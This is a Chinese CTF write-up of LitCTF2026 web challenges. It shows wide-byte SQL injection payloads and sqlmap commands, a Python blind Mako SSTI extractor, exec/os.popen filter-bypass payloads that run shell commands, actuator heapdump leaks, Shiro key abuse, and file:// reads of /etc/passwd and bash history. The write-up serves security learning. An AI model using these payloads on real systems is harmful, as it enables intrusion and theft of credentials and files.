[LitCTF2026] lit_ezsql
题目
注注注!
解
',",)轮番上阵都没报错
常规or语句和双写也没成功
查询1
| id | name | col2 | col3 | col4 |
|---|---|---|---|---|
| 1 | alice | visitor | none | none |
查询2
| id | name | col2 | col3 | col4 |
|---|---|---|---|---|
| 2 | bob | visitor | none | none |
其他基本都无查询结果
但是查询
2abc
21
2'
会回显bob,也就是说,后面的部分应该没有正常直接拼接进语句
玄网安全的师傅wp中提到了一个合理的推断(不然就得盲猜宽字节注入)
https://mp.weixin.qq.com/s/d8MbcXiWcWWVVOD6aptevQ
关键突破点是发现调试参数:
/query?id=1&debug=1
访问/query?id=2&debug=1

sql
SELECT
`id`,`name`,`col2`,`col3`,`col4`
FROM
`ezsql`.`users`
WHERE
id='2'
LIMIT 50
尝试/query?id=2'&debug=1
变成了
sql
WHERE id='2\''
可以发现,之前的方法没有触发报错是因为反斜杠转义
一般反斜杠转义的情况就考虑宽字节注入
sqlmap
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch
available databases [2]:
[*] ezsql
[*] information_schema
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch
+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy} |
+--------------------------------------------+
手注
回顾宽字节注入原理
利用数据库字符集(如GBK、GB2312、BIG5等)中,反斜杠 \ 的URL编码 %5c 与前一个字符(如 %df、%e5、%bf 等)组合成一个合法多字节字符,从而"吃掉"转义符,让后面的单引号 ' 逃逸出来
使用短payload验证一下
1%df'
关键点 :在 GBK编码 下:
%df(ß的GBK高位字节) +%5c(反斜杠) =%df%5c被解析为一个汉字字符"運"- 原本的转义符
\被"吸收"进了这个汉字,不再具有转义功能 - 剩下的单引号
'成功逃逸,可以闭合字符串
最终payload
1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+
反思
花了十几分钟没手搓出来故放弃,宽字节注入其实刚入门CTF时候就在pikachu靶场遇到了,但是当时没怎么注意,也一直没遇到这个考点,知识储备不够广吧
[LitCTF2026] lit_ezssti
题目
缺什么补什么(x

解
别真以为很简单,直接讲复盘时候总结的正常思路
SSTI由于平时遇到的都是jinja2的模板注入,忽略了其他模板

(上面图片来自 https://www.cnblogs.com/lx207/articles/18958248 )
总结一下如何确定模板


按这个顺序最稳:
1. {{7*7}}
2. ${7*7}
3. <%=7*7%>
4. \#{7*7}
5. [[7*7]]
6. % 或 % if 1:
常见指纹如下:
| 现象 | 大概率模板 |
|---|---|
| SyntaxException: Invalid control line | Mako |
| jinja2.exceptions... | Jinja2 |
| Twig\Error... | Twig |
| EJS、ejs.js、Unexpected token %> | EJS |
| ERB、ActionView::Template::Error | ERB / Rails |
| FreeMarker、freemarker.core... | FreeMarker |
| Thymeleaf、SpEL | Thymeleaf |
| template parsing error + {{.}} 风格 | Go template |
前面的参数都没有什么有价值的特征
但是传入%的时候,触发了报错,而且是Mako的特征
验证 payload:
text
% if True:
OK
% endif
返回结果是:
text
OK
这一步可以正式确认Mako模板
但是经测试,存在较严格的过滤
() [] '' = flag 等
盲注
paylaod:
% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor
依次尝试
若真,回显YES;若假,无回显
py
#!/usr/bin/env python3
import argparse
import re
import string
import sys
from typing import Optional
import requests
OUT_RE = re.compile(r'<pre id="out">([\s\S]*?)</pre>')
def to_concat_expr(text: str) -> str:
# Build "'f'+'l'+'a'+'g'" style expression to avoid raw keyword filters.
parts = []
for ch in text:
if ch == "'":
parts.append('"\'"')
else:
parts.append(f"'{ch}'")
return "+".join(parts)
def hit(url: str, candidate: str, timeout: float = 10.0) -> Optional[bool]:
candidate_expr = to_concat_expr(candidate)
payload = (
"% for line in open('/fla'+'g'):\n"
f"% if {candidate_expr} in line:\n"
"YES\n"
"% endif\n"
"% endfor"
)
try:
resp = requests.post(
url,
data={"tpl": payload},
timeout=timeout,
)
except requests.RequestException:
return None
m = OUT_RE.search(resp.text)
if not m:
return None
out = m.group(1).strip()
if out == "WAF":
return False
return "YES" in out
def extract_flag(
url: str,
prefix: str,
charset: str,
max_len: int,
timeout: float,
) -> str:
cur = prefix
for _ in range(max_len):
found = False
for ch in charset:
cand = cur + ch
ok = hit(url, cand, timeout=timeout)
if ok is None:
print(f"[!] Request/parse failed on candidate: {cand}", file=sys.stderr)
continue
if ok:
cur = cand
print(f"[+] {cur}")
found = True
if cur.endswith("}"):
return cur
break
if not found:
return cur
return cur
def main() -> None:
parser = argparse.ArgumentParser(description="Blind Mako SSTI flag extractor")
parser.add_argument(
"--url",
default="http://challenge.cyclens.tech:32340/",
help="Target URL",
)
parser.add_argument(
"--prefix",
default="flag{",
help="Initial prefix to expand",
)
parser.add_argument(
"--max-len",
type=int,
default=80,
help="Maximum chars to append after prefix",
)
parser.add_argument(
"--charset",
default=string.ascii_letters + string.digits + "{}_-",
help="Charset used during brute force",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="HTTP timeout seconds",
)
args = parser.parse_args()
print(f"[*] Target: {args.url}")
print(f"[*] Prefix: {args.prefix}")
print(f"[*] Charset length: {len(args.charset)}")
result = extract_flag(
url=args.url,
prefix=args.prefix,
charset=args.charset,
max_len=args.max_len,
timeout=args.timeout,
)
print(f"[=] Result: {result}")
if __name__ == "__main__":
main()
python E:\cod\mako_blind_flag_extractor.py --url http://challenge.cyclens.tech:32340/ --prefix "flag{" --max-len 80
flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}
绕过
已知以下内容被拦截
context.write
os.popen
我们可以想办法绕过
getattr(context, "write")
getattr(__import__("os"), "popen")
目标
exec("import os\n"
"getattr(context, 'write')("
"getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')()"
")")
执行逻辑:
- exec(...) 执行拼好的 Python 代码。
- import('os') 拿到 os 模块。
- getattr(..., 'popen')('cat /f*') 执行命令。
- getattr(..., 'read')() 读取命令输出。
- getattr(context, 'write')(...) 把输出写到 HTTP 响应。
外部嵌套一个<% %>使内容作为python运行
验证可行性
<% exec("getattr(context, 'write')('hello')") %>
拿flag
<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>
<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>
反思
题目到此为止了
我们继续读取其他文件
找到了/app/app/routes.py 和 /app/app/waf.py但是直接读取会被过滤,使用通配符
/app/app/routes.py
py
from __future__ import annotations
import html
from flask import Blueprint, jsonify, render_template, request
from mako.template import Template
from app.waf import apply_waf
bp = Blueprint("main", __name__)
def _render_ctx() -> dict:
return {}
def _plain(s: object) -> str:
if s is None:
return ""
return html.unescape(str(s))
@bp.route("/", methods=["GET", "POST"])
def index():
echo = ""
raw = ""
if request.method == "POST":
raw = request.form.get("tpl", "") or ""
body, err = apply_waf(raw)
if err is not None:
echo = err
else:
try:
tpl = Template(body)
echo = _plain(tpl.render(**_render_ctx()))
except Exception as e: # noqa: BLE001
echo = f"[渲染异常] {type(e).__name__}: {e}"
return render_template("index.html", echo=echo, raw=raw)
@bp.get("/healthz")
def healthz():
return jsonify({"ok": True})
/app/app/waf.py
py
"""题目 WAF:同时禁止 `${` 与 ASCII 点号 `.`(fenjing 梗:拆表达式、别用点属性)。"""
def apply_waf(raw: str) -> tuple[str | None, str | None]:
"""
Returns (template_to_render, error_message).
If blocked, (None, user-visible message).
"""
banlist = ["${", ".", "=","flag","[","]"]
for item in banlist:
if item in raw:
return None, "WAF"
return raw, None
处理顺序
输入
request.form.get("tpl", "") #得到url编码后的字符串
apply_waf(raw) #过滤黑名单
tpl = Template(body)
echo = tpl.render(**_render_ctx()) #创建一个 Mako 模板对象并渲染
html.unescape(str(s)) #html解码
render_template("index.html", echo=echo, raw=raw) #jinja2渲染
依旧是曾经遇到的东西没重视,知识面不够广
fenjing主要面向Jinja/Flask,而且黑名单过滤较严格,没办法一把梭
[LitCTF2026] 华辰企业服务运营平台
前置知识点
Spring Boot 的 Actuator 是运维监控模块,提供了一堆健康检查、配置查询接口:
┌───────────────────────┬─────────────────────────────────────┬────────┐
│ 端点 │ 功能 │ 危险性 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/health │ 健康检查 │ 低 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/info │ 应用信息 │ 低 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/env │ 所有环境变量、配置项 │ 极高 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/mappings │ 所有路由映射 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/heapdump │ JVM │ 极高 │
│ │ 堆快照(含内存中所有变量、密码) │ │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/configprops │ 配置项 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/loggers │ 日志级别 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/threaddump │ 线程栈 │ 中 │
└───────────────────────┴─────────────────────────────────────┴────────┘
题目描述
某客服工单系统上线后,保留了大量运维与调试能力。
你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag
提示: 历史归档备注 -> 历史归档备注(flag2)
解
查看源码没有什么重要发现
扫目录发现一堆

环境变量
访问/actuator/env,找到flag

隐私泄露
访问/actuator/heapdump下载
直接搜flag{

shiro漏洞利用(脚本小子)
先查看源码,有/js/index.js我们查看下
js
async function loadHomeData() {
const banner = await fetch('/api/public/banner').then(r => r.json());
document.getElementById('bannerPanel').innerHTML = `
<h2>${banner.title}</h2>
<p>${banner.subtitle}</p>
<p class="muted">å¹³å°å®šä½ï¼šå®¢æˆ·æœåŠ¡æ ‡å‡†åŒ--ã€æµç¨‹å¯è¿½æº¯ã€å®¡è®¡å¯é---环。</p>
`;
const news = await fetch('/api/public/news').then(r => r.json());
document.getElementById('newsPanel').innerHTML = `
<h2>ä¼ä¸šå...¬å'Š</h2>
<ul>${news.items.map(i => `<li>${i}</li>`).join('')}</ul>
`;
}
loadHomeData();
index.js 调了:
- GET /api/public/banner
- GET /api/public/news
js
const form = document.getElementById('loginForm');
const result = document.getElementById('result');
form.addEventListener('submit', async (e) => {
e.preventDefault();
const payload = {
username: document.getElementById('username').value.trim(),
password: document.getElementById('password').value,
rememberMe: document.getElementById('rememberMe').checked
};
const resp = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
}).then(r => r.json());
result.textContent = JSON.stringify(resp, null, 2);
if (resp.ok) {
setTimeout(() => {
window.location.href = '/dashboard';
}, 600);
}
});
login.js 调了:
- POST /api/auth/login,body 是 JSON:
gpt说到这里能猜出后端是个 Java Spring Boot 风格的 REST API(/api/... 路径 +
JSON)。
抓个包
{"username":"user","password":"111","rememberMe":true}
还真有"rememberMe":true难道是Apache Shiro?
提到shiro
- 可能是 Shiro 反序列化(CVE-2016-4437 / CVE-2020-1957 / CVE-2020-11989 /
CVE-2022-32532) - 可能存在 Shiro 鉴权绕过
在环境变量中拿到
"LAB_SHIRO_KEY_B64": {
"value": "R1pDVEZTaGlyb0dDTUtleQ==",
"origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
},
使用shiro漏洞工具

根目录下拿到flag1
env中有flag2,拼接一下拿到完整flag
这只是简单的工具利用shiro
还有一种手搓shiro提权的方法,但我不会java....
[LitCTF2026] lit_reverse_my_web
逆向还是不蒸了吧
逆向那secret伪造token去访问/flag
[LitCTF2026] Northbridge Document Hub
题目
解
查看源码,访问/assets/js/portal.js
js
(function () {
var bootstrap = {
release: "2026.03.01-r12",
region: "cn-sh2",
auth: {
mode: "legacy-fallback",
// researcher:Research#2026
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
},
fileGateway: {
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
node: "legacy-parse-02"
}
};
window.NorthbridgePortal = {
config: bootstrap,
decodeLegacyCredential: function () {
try {
return atob(bootstrap.auth.seed);
} catch (e) {
return "";
}
}
};
var form = document.querySelector("form[data-auth='portal']");
if (form) {
form.addEventListener("submit", function () {
form.classList.add("is-submitting");
});
}
})();
发现一个疑似读取文件的路径
js
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
发现种子
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
base64解码就是上行的注释....
researcher:Research#2026
没想到这就是密码....
researcher / Research#2026
登录
访问刚刚疑似读取文件的路径
/kkfileview/getCorsFile?urlpath=
啥也读不出来,原来需要base64编码
读取/etc/passwd
改为file:///etc/passwd
base64编码得
ZmlsZTovLy9ldGMvcGFzc3dk
GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk
尝试访问/root/.bash_history
/root/.bash_history 是 Linux 系统中 root 用户的操作命令历史记录文件。
bash
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
下载file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
解压拿到flag.txt